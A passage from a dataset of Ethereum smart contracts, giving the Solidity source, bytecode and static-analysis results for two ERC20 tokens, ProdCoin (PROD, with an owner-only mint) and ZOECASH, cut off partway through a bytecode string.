"divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,634 |
0xafd8b2468ac13b9b3c2a3789400f760ecc0471aa | // SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'ProdCoin' contract
//
// Symbol : PROD
// Name : ProdCoin
// Total supply: 1 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract PROD is BurnableToken {
string public constant name = "ProdCoin";
string public constant symbol = "PROD";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply = (totalSupply).add(_amount);
balances[owner] +=_amount;
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146104af578063d73dd62314610513578063dd62ed3e14610577578063f2fde38b146105ef57610100565b806370a082311461035c5780638da5cb5b146103b457806395d89b41146103e8578063a0712d681461046b57610100565b8063313ce567116100d3578063313ce5671461028e578063378dc3dc146102ac57806342966c68146102ca57806366188463146102f857610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d610633565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066c565b60405180821515815260200191505060405180910390f35b6101f461075e565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b60405180821515815260200191505060405180910390f35b610296610a4e565b6040518082815260200191505060405180910390f35b6102b4610a53565b6040518082815260200191505060405180910390f35b6102f6600480360360208110156102e057600080fd5b8101908080359060200190929190505050610a60565b005b6103446004803603604081101561030e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c26565b60405180821515815260200191505060405180910390f35b61039e6004803603602081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb7565b6040518082815260200191505060405180910390f35b6103bc610f00565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103f0610f24565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610430578082015181840152602081019050610415565b50505050905090810190601f16801561045d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104976004803603602081101561048157600080fd5b8101908080359060200190929190505050610f5d565b60405180821515815260200191505060405180910390f35b6104fb600480360360408110156104c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061104a565b60405180821515815260200191505060405180910390f35b61055f6004803603604081101561052957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061121e565b60405180821515815260200191505060405180910390f35b6105d96004803603604081101561058d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061141a565b6040518082815260200191505060405180910390f35b6106316004803603602081101561060557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114a1565b005b6040518060400160405280600881526020017f50726f64436f696e00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561079f57600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061087283600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f090919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090783600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095d83826115f090919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a620f42400281565b60008111610a6d57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ab957600080fd5b6000339050610b1082600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f090919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b68826001546115f090919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d37576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dcb565b610d4a83826115f090919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f50524f440000000000000000000000000000000000000000000000000000000081525081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb857600080fd5b610fcd8260015461160790919063ffffffff16565b60018190555081600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561108557600080fd5b6110d782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061116c82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160790919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112af82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561153357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156115fc57fe5b818303905092915050565b60008082840190508381101561161957fe5b809150509291505056fea2646970667358221220794e58e66bddfc1d46bc64d05dddbd4009890b3bc0c8f9917753c95218f4f84e64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,635 |
0xd4515966cc9df9fd1f2e43265e56ee4d8fa718f8 | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ZOECASH
is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint256 totalSupply_) public {
_name = name_;
_symbol = symbol_;
_decimals = 6;
_totalSupply = totalSupply_;
_balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_); // Optional
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
require(_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(_allowances[_msgSender()][spender] >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
require(_balances[account] >= amount, "ERC20: burn amount exceeds balance");
_balances[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012957806370a082311461013c57806395d89b411461014f578063a457c2d714610157578063a9059cbb1461016a578063dd62ed3e1461017d576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ec57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b6610190565b6040516100c39190610751565b60405180910390f35b6100df6100da36600461071d565b610222565b6040516100c39190610746565b6100f461023f565b6040516100c39190610985565b6100df61010f3660046106e2565b610245565b61011c610324565b6040516100c3919061098e565b6100df61013736600461071d565b61032d565b6100f461014a36600461068f565b61037c565b6100b661039b565b6100df61016536600461071d565b6103aa565b6100df61017836600461071d565b61044e565b6100f461018b3660046106b0565b610462565b60606003805461019f906109cb565b80601f01602080910402602001604051908101604052809291908181526020018280546101cb906109cb565b80156102185780601f106101ed57610100808354040283529160200191610218565b820191906000526020600020905b8154815290600101906020018083116101fb57829003601f168201915b5050505050905090565b600061023661022f61048d565b8484610491565b50600192915050565b60025490565b6000610252848484610545565b6001600160a01b0384166000908152600160205260408120839161027461048d565b6001600160a01b03166001600160a01b031681526020019081526020016000205410156102bc5760405162461bcd60e51b81526004016102b39061086f565b60405180910390fd5b61031a846102c861048d565b6001600160a01b038716600090815260016020526040812086916102ea61048d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461031591906109b4565b610491565b5060019392505050565b60055460ff1690565b600061023661033a61048d565b84846001600061034861048d565b6001600160a01b03908116825260208083019390935260409182016000908120918b1681529252902054610315919061099c565b6001600160a01b0381166000908152602081905260409020545b919050565b60606004805461019f906109cb565b600081600160006103b961048d565b6001600160a01b039081168252602080830193909352604091820160009081209188168152925290205410156104015760405162461bcd60e51b81526004016102b390610940565b61023661040c61048d565b84846001600061041a61048d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461031591906109b4565b600061023661045b61048d565b8484610545565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104b75760405162461bcd60e51b81526004016102b3906108fc565b6001600160a01b0382166104dd5760405162461bcd60e51b81526004016102b3906107e7565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610538908590610985565b60405180910390a3505050565b6001600160a01b03831661056b5760405162461bcd60e51b81526004016102b3906108b7565b6001600160a01b0382166105915760405162461bcd60e51b81526004016102b3906107a4565b61059c838383610673565b6001600160a01b0383166000908152602081905260409020548111156105d45760405162461bcd60e51b81526004016102b390610829565b6001600160a01b038316600090815260208190526040812080548392906105fc9084906109b4565b90915550506001600160a01b0382166000908152602081905260408120805483929061062990849061099c565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105389190610985565b505050565b80356001600160a01b038116811461039657600080fd5b6000602082840312156106a0578081fd5b6106a982610678565b9392505050565b600080604083850312156106c2578081fd5b6106cb83610678565b91506106d960208401610678565b90509250929050565b6000806000606084860312156106f6578081fd5b6106f